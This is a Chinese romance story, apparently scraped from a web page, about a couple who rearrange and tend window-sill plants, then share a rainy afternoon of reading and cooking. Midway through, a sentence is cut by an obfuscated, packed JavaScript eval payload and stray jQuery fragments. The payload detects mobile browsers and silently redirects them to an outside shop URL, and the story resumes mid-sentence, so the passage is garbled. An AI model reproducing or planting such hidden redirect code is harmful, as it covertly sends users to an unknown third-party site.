周六上午两个人一起把窗台重新整理了一遍。
陈砚把每一盆植物都搬下来放在地板上，沈知意用湿布把窗台擦干净，然后两个人蹲在地上按照高低、叶形、颜色重新排布。高一点的罗汉松放在最左边，中等高度的薄荷和迷迭香居中，矮一些的文竹和袖珍椰子放在右侧靠里，绿萝的藤蔓被引导着沿着窗台边缘垂下去。
整个排列过程持续了将近一个小时。
中间陈砚调整了三次虎皮兰的位置，因为它的叶片太硬放在中间会挡住后面矮植物的光线。
沈知意没有插手，蹲在旁边看着他来回搬运、比对、调整角度。最后他直起身来退后几步看了看窗台上十六样东西的排列，转头问了一句："你觉得行吗？"
沈知意也站起来走到他旁边。
窗台上的植物按照新的排列方式站成了弧形——从高到低再到垂，每一盆之间的间距均匀得像是用尺子量过的。
阳光从窗户照进来，从最高那株罗汉松的针叶缝隙间穿过，依次照亮薄荷、迷迭香、文竹、袖珍椰子、虎皮兰、绿萝，最后落在窗台边缘垂下来的藤蔓尖端上。
她看了一会儿然后说："你量了间距？"
陈砚站在她旁边："没有。凭感觉放的。"
沈知意转头看了他一眼："你凭感觉放出来的间距比尺子量的还准。"
陈砚也转头看她，嘴角有一道很浅的弧度："因为看你的窗台看了一年多。看久了就知道什么距离好看。"
沈知意收回目光，重新看着窗台上那排十六样东西。
她伸手把最右边那只水杯往右挪了一厘米——那只水杯是她自己的，边缘有一道细小的裂纹，平时不注意看不到。她挪完之后说了一句："你的感觉是对的。但杯子的位置我调了一下。"
陈砚看着那只水杯被她挪动了一厘米的幅度，看到了杯沿那道细小的裂纹，没有说"为什么"。他只是在窗台前站了一会儿，然后说："那以后每周末重新排一次。排到你不用调为止。"
沈知意没有说话，但她在转身走向厨房的时候伸手碰了一下陈砚垂在身侧的手背——很轻，触碰到就松开了，像一片薄荷叶从枝头脱落时蹭过另一片叶子的重量。
陈砚站在原地没有追过去。
他低头看了一眼自己手背上被碰过的位置，然后弯腰把地板上的泥土碎屑收拾干净，倒进垃圾桶，把抹布洗好挂回原位。
厨房里传来水流的声音和碗碟碰撞的轻响，沈知意正在准备午饭。
陈砚站在客厅里听着那些声音，窗台上的十六样东西在他身后安安静静地站在阳光下，每一片叶子都在光里泛着自己的颜色。
他听了一会儿水流声然后转身走向厨房。
沈知意正站在灶台前面切菜，他走过去站在她旁边，从刀架上拿起另一把刀，从案板另一侧拿过那根还没切的胡萝卜。
两个人站在同一盏灶台上方的灯光下，各自切着各自面前的食材，刀刃落在砧板上的声音交替响起，规律而默契，像一首被排练过很多次的二重奏。
窗外四月的阳光从厨房窗户斜照进来，落在两个人并排站着的肩上，把食材的汁液和刀锋的反光都照得清清楚楚。
五月，窗台上的植物进入了最旺盛的生长期。
薄荷的枝叶已经铺满了陶盆，每天都能看到新叶片从枝顶冒出来。
绿萝的藤蔓垂到了窗台边缘以下将近半米，在风中轻轻晃荡着。
袖珍椰子长高了一截，叶片更加纤细挺拔。
陈砚每天早晨起来第一件事就是走到窗台前面检查每一盆植物——用手指探土干湿度、剪掉变黄的叶片、转盆让每一面都能晒到太阳。
他做这些事的时候沈知意有时还在床上没起，隔着半开的卧室门能听到他的脚步声在窗台前面来回移动，偶尔停顿下来，应该是正在修剪某片多余的叶子。
五月中旬的一个周六早晨，沈知意醒得比平时早了一些。
她走出卧室的时候看到陈砚已经站在窗台前面了，手里拿着一把小花剪，正在给一株薄荷修剪侧枝。早晨的阳光从窗外照进来落在他身上，把他睡衣的肩线镀成一层淡金色。
她没有出声，靠在卧室门口看了一会儿。
陈砚修剪完放下剪刀转过身来才看到她站在门口。他停了一下然后说："今天早上醒得早。"
沈知意走过去站在他旁边，低头看着窗台上那排被他修剪过的植物。每一盆都清理得干干净净，枯叶剪掉了，徒长的枝修了，土面也松过。她看了一圈然后说："你每天早上都做这些？"
陈砚把花剪放回窗台上的小工具箱里："嗯。十几分钟。"
沈知意看着那排整齐的植物在晨光里舒展着叶片的样子，说了一句："那你做这些的时候，在想什么？"
陈砚站在窗台前，早晨的光从窗户照进来把他和沈知意的影子并排投在身后的地板上。他想了一下然后说："没想什么。就是做着安心。"
沈知意没有再问。她伸手碰了一下最近那株薄荷的叶片，然后转身去厨房烧水。水壶开始响的时候她从厨房探出半个身子说了一句："今天早上想喝粥还是吃面？"
陈砚在窗台前面把最后那把小剪子收回工具箱的卡槽里，金属碰到塑料的时候发出一声极轻的脆响。他转头看着厨房的方向说了一句："粥。"
沈知意的声音从厨房里传出来，带着水壶烧开的背景音："那你把窗台上的阳光收一收。粥好了叫你。"
陈砚站在窗台前面笑了一下，然后弯腰把窗台上的工具箱盖子合上，把窗户的缝隙调小了一点。
窗台上的十六样植物在五月的晨光里安静地舒展着叶片，阳光从它们之间的空隙穿过去，在身后的地板上留下一道细碎的光斑。
那道光的形状不规则的，但落在地板上的时候像一片被拆散了的薄荷叶。
五月底下了一场雨，不大但绵密，持续了一整天。
沈知意和陈砚都没有出门。上午两个人各自看了会儿书，中午做了顿简单的饭，下午雨势没有减弱的迹象，外面的天灰蒙蒙的，窗玻璃上挂满了细密的水珠。
沈知意坐在客厅的地毯上，背靠着沙发看书。
陈砚坐在她旁边，也靠在同一张沙发的侧面，两个人各自占据地毯的一端，中间隔着一只枕头。
窗外的雨声持续不断，在玻璃上敲出均匀的白噪音。窗台上的植物在潮湿的空气里显得格外鲜活，叶片上挂着细小的水珠，颜色比晴天的时候更深更浓。
沈知意翻了三十页书之后放下，侧头看向窗台的方向。
窗玻璃上的水珠把外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837942|211527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面的光线折射成模糊的光晕，从室内看出去一切都蒙了一层柔和的滤镜。她看了一会儿然后说："下雨天窗台上的东西比平时好看。"
陈砚也放下手机顺着她的视线看过去："因为湿度高。植物在雨天状态是最好的。"
沈知意收回目光，伸手把两个人之间那只枕头拿开了放在旁边。
陈砚看了她一眼，然后把自己的位置往她那侧挪了几寸。
两个人之间的距离从隔着一只枕头变成了肩膀相抵。
沈知意重新拿起书继续看，没有缩回去。
陈砚也没有再挪动。
窗外的雨还在下，屋檐上的水珠汇成细流从窗角滑下来。窗台上的植物在潮湿的空气里静静地绿着，每一片叶子都挂着一层细密的水雾。
过了大概十分钟，沈知意翻了一页书之后说了一句："你肩膀靠过来的时候，书页上的字亮了一点。"
陈砚没有动，但他的声音从旁边传过来："因为光线角度变了。翻页的时候书页的角度也会变。"
沈知意没有抬头也没有动，但她弯了一下嘴角。
窗外的雨声持续着，没有停下来的迹象。
两个人肩膀相抵坐在客厅的地毯上，各自看着自己的东西，中间没有再说话。但沈知意翻页的频率比之前慢了一些，像在把那些被窗外的雨声和旁边人的温度浸泡过的字句多留一会儿。
傍晚雨小了一些，从连绵变成了稀疏的滴落。
沈知意站起来去厨房做饭的时候陈砚也跟着站起来，走到窗台前面把窗户开了一条缝。
潮湿的空气从缝隙里钻进来，带着雨后的泥土气息和植物的清润气味。他站在窗前深吸了一口气，然后听到厨房传来沈知意切菜的声音。
规律的、匀速的、像被雨声打磨过之后留下的节奏。
他转身走进厨房，从她手里接过了那把刀——刀刃上沾着胡萝卜的碎屑，他接过来的时候手指碰到了她的指节，湿润的、微凉的、带着胡萝卜汁液的黏滑。
沈知意松了手让他把刀拿过去，自己走到水池边洗手。
水流的声音在雨后安静的傍晚里格外清澈。
她洗完手转身靠在灶台边上看陈砚切菜。
他的手法已经比第一次来那间民宿的时候熟练了很多——刀落得均匀，节奏稳当，切出来的薄片厚度几乎一致。
她看着看着然后说了一句："你第一次来我家的时候，洗碗机都不会用。"
陈砚正在切一块姜，刀刃落下的时候停了一拍："第一次的时候是故意的。想让你觉得我不会。"
沈知意靠在灶台边，看着他切完那块姜，把姜片整齐地码进碟子里："那你现在会了？"
陈砚放下刀，转头看她："现在不用装了。会多少是多少。"
沈知意看着他站在厨房灯光下沾着水汽的轮廓，看了几秒然后转身打开冰箱拿鸡蛋。她背对着他说了一句："那明天早餐的粥里放点姜丝。你刚才切的那块挺新鲜。"
陈砚站在灶台前，低头看着碟子里那几片被切得均匀的姜片，把碟子推进冰箱的冷藏层。
窗外最后几滴雨落在窗玻璃上，发出极轻的声响，然后彻底停了。窗台上那排植物在雨后的暮色里静立着，叶片上的水珠在渐渐变暗的光线里泛着最后一点微光。